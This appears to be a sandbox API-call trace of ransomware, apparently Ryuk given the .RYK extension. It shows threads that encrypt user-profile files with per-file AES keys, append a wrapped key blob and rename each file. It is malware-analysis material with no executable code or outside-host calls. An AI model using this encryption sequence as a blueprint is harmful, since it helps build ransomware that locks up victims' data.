	[0207.773] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\xHyat.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xhyat.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\xHyat.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xhyat.m4a.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1900
	os_tid = 0x23cc

	[0207.774] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XZ-jXxH.flv", dwFileAttributes=0x80) returned 0
	[0207.774] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XZ-jXxH.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xz-jxxh.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.774] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.774] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XZ-jXxH.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xz-jxxh.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XZ-jXxH.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xz-jxxh.flv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1929
	os_tid = 0x240c

	[0208.469] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT", dwFileAttributes=0x80) returned 1
	[0208.470] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0208.471] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x8cef658 | out: lpFileSize=0x8cef658*=108824) returned 1
	[0208.471] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x8cef668 | out: lpFileSize=0x8cef668*=108824) returned 1
	[0208.471] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x1a7f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0208.471] ReadFile (in: hFile=0x5cc, lpBuffer=0x8cef6b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8cef620, lpOverlapped=0x0 | out: lpBuffer=0x8cef6b0*, lpNumberOfBytesRead=0x8cef620*=0x19, lpOverlapped=0x0) returned 1
	[0208.486] SetFilePointer (in: hFile=0x5cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0208.486] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8cef638 | out: phKey=0x8cef638*=0x2b8ff0) returned 1
	[0208.486] SetFilePointer (in: hFile=0x5cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0208.486] ReadFile (in: hFile=0x5cc, lpBuffer=0x2690000, nNumberOfBytesToRead=0x1a918, lpNumberOfBytesRead=0x8cef644, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8cef644*=0x1a918, lpOverlapped=0x0) returned 1
	[0208.489] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8cef640*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8cef640*=0xf4250) returned 1
	[0208.490] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8cef648*=0x1a918, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8cef648*=0x1a920) returned 1
	[0208.490] SetFilePointer (in: hFile=0x5cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0208.491] WriteFile (in: hFile=0x5cc, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x1a920, lpNumberOfBytesWritten=0x8cef644, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8cef644*=0x1a920, lpOverlapped=0x0) returned 1
	[0208.492] WriteFile (in: hFile=0x5cc, lpBuffer=0x8cef670*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8cef650, lpOverlapped=0x0 | out: lpBuffer=0x8cef670*, lpNumberOfBytesWritten=0x8cef650*=0x6, lpOverlapped=0x0) returned 1
	[0208.492] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8cef660 | out: pbData=0x0*, pdwDataLen=0x8cef660*=0x10c) returned 1
	[0208.492] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8cef6d0, pdwDataLen=0x8cef660 | out: pbData=0x8cef6d0*, pdwDataLen=0x8cef660*=0x10c) returned 1
	[0208.492] WriteFile (in: hFile=0x5cc, lpBuffer=0x8cef6d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8cef650, lpOverlapped=0x0 | out: lpBuffer=0x8cef6d0*, lpNumberOfBytesWritten=0x8cef650*=0x10c, lpOverlapped=0x0) returned 1
	[0208.492] CloseHandle (hObject=0x5cc) returned 1
	[0208.497] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0208.497] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 1937
	os_tid = 0x2414

	[0208.919] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat", dwFileAttributes=0x80) returned 0
	[0208.919] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.919] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.919] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1939
	os_tid = 0x241c

	[0209.268] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat", dwFileAttributes=0x80) returned 0
	[0209.268] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.268] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.269] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1940
	os_tid = 0x2420

	[0209.270] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db", dwFileAttributes=0x80) returned 1
	[0209.271] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d8
	[0209.271] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x8c4f838 | out: lpFileSize=0x8c4f838*=1206133) returned 1
	[0209.271] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x8c4f848 | out: lpFileSize=0x8c4f848*=1206133) returned 1
	[0209.271] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x126653, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0209.271] ReadFile (in: hFile=0x5d8, lpBuffer=0x8c4f890, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c4f800, lpOverlapped=0x0 | out: lpBuffer=0x8c4f890*, lpNumberOfBytesRead=0x8c4f800*=0x19, lpOverlapped=0x0) returned 1
	[0209.274] SetFilePointer (in: hFile=0x5d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0209.274] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8c4f818 | out: phKey=0x8c4f818*=0x2b8ff0) returned 1
	[0209.274] SetFilePointer (in: hFile=0x5d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0209.275] ReadFile (in: hFile=0x5d8, lpBuffer=0x2980000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x8c4f824, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesRead=0x8c4f824*=0xf4240, lpOverlapped=0x0) returned 1
	[0209.505] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c4f820*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c4f820*=0xf4240) returned 1
	[0209.506] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2980000*, pdwDataLen=0x8c4f828*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x2980000*, pdwDataLen=0x8c4f828*=0xf4240) returned 1
	[0209.514] SetFilePointer (in: hFile=0x5d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0209.514] WriteFile (in: hFile=0x5d8, lpBuffer=0x2980000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x8c4f824, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesWritten=0x8c4f824*=0xf4240, lpOverlapped=0x0) returned 1
	[0209.526] SetFilePointer (in: hFile=0x5d8, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0209.526] ReadFile (in: hFile=0x5d8, lpBuffer=0x2980000, nNumberOfBytesToRead=0x32535, lpNumberOfBytesRead=0x8c4f824, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesRead=0x8c4f824*=0x32535, lpOverlapped=0x0) returned 1
	[0209.529] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c4f820*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c4f820*=0xf4250) returned 1
	[0209.530] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2980000*, pdwDataLen=0x8c4f828*=0x32535, dwBufLen=0xf4250 | out: pbData=0x2980000*, pdwDataLen=0x8c4f828*=0x32540) returned 1
	[0209.531] SetFilePointer (in: hFile=0x5d8, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0209.531] WriteFile (in: hFile=0x5d8, lpBuffer=0x2980000*, nNumberOfBytesToWrite=0x32540, lpNumberOfBytesWritten=0x8c4f824, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesWritten=0x8c4f824*=0x32540, lpOverlapped=0x0) returned 1
	[0209.534] WriteFile (in: hFile=0x5d8, lpBuffer=0x8c4f850*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8c4f830, lpOverlapped=0x0 | out: lpBuffer=0x8c4f850*, lpNumberOfBytesWritten=0x8c4f830*=0x6, lpOverlapped=0x0) returned 1
	[0209.534] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8c4f840 | out: pbData=0x0*, pdwDataLen=0x8c4f840*=0x10c) returned 1
	[0209.534] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8c4f8b0, pdwDataLen=0x8c4f840 | out: pbData=0x8c4f8b0*, pdwDataLen=0x8c4f840*=0x10c) returned 1
	[0209.534] WriteFile (in: hFile=0x5d8, lpBuffer=0x8c4f8b0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8c4f830, lpOverlapped=0x0 | out: lpBuffer=0x8c4f8b0*, lpNumberOfBytesWritten=0x8c4f830*=0x10c, lpOverlapped=0x0) returned 1
	[0209.535] CloseHandle (hObject=0x5d8) returned 1
	[0209.872] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0209.872] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 1941
	os_tid = 0x2424

	[0209.307] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms", dwFileAttributes=0x80) returned 0
	[0209.307] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\feedsstore.feedsdb-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.307] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.307] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\feedsstore.feedsdb-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\feedsstore.feedsdb-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1952
	os_tid = 0x2434

	[0209.945] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat", dwFileAttributes=0x80) returned 0
	[0209.946] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.946] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.946] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1953
	os_tid = 0x2438

	[0209.950] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT", dwFileAttributes=0x80) returned 1
	[0209.956] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8
	[0209.956] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x8daf5d8 | out: lpFileSize=0x8daf5d8*=245980) returned 1
	[0209.956] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x8daf5e8 | out: lpFileSize=0x8daf5e8*=245980) returned 1
	[0209.956] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x3bfba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0209.956] ReadFile (in: hFile=0x5e8, lpBuffer=0x8daf630, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8daf5a0, lpOverlapped=0x0 | out: lpBuffer=0x8daf630*, lpNumberOfBytesRead=0x8daf5a0*=0x19, lpOverlapped=0x0) returned 1
	[0209.970] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0209.970] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8daf5b8 | out: phKey=0x8daf5b8*=0x2b8ff0) returned 1
	[0209.970] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0209.970] ReadFile (in: hFile=0x5e8, lpBuffer=0x2f90000, nNumberOfBytesToRead=0x3c0dc, lpNumberOfBytesRead=0x8daf5c4, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesRead=0x8daf5c4*=0x3c0dc, lpOverlapped=0x0) returned 1
	[0209.988] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8daf5c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8daf5c0*=0xf4250) returned 1
	[0209.988] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f90000*, pdwDataLen=0x8daf5c8*=0x3c0dc, dwBufLen=0xf4250 | out: pbData=0x2f90000*, pdwDataLen=0x8daf5c8*=0x3c0e0) returned 1
	[0209.990] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0209.990] WriteFile (in: hFile=0x5e8, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x3c0e0, lpNumberOfBytesWritten=0x8daf5c4, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x8daf5c4*=0x3c0e0, lpOverlapped=0x0) returned 1
	[0209.993] WriteFile (in: hFile=0x5e8, lpBuffer=0x8daf5f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8daf5d0, lpOverlapped=0x0 | out: lpBuffer=0x8daf5f0*, lpNumberOfBytesWritten=0x8daf5d0*=0x6, lpOverlapped=0x0) returned 1
	[0209.993] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8daf5e0 | out: pbData=0x0*, pdwDataLen=0x8daf5e0*=0x10c) returned 1
	[0209.993] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8daf650, pdwDataLen=0x8daf5e0 | out: pbData=0x8daf650*, pdwDataLen=0x8daf5e0*=0x10c) returned 1
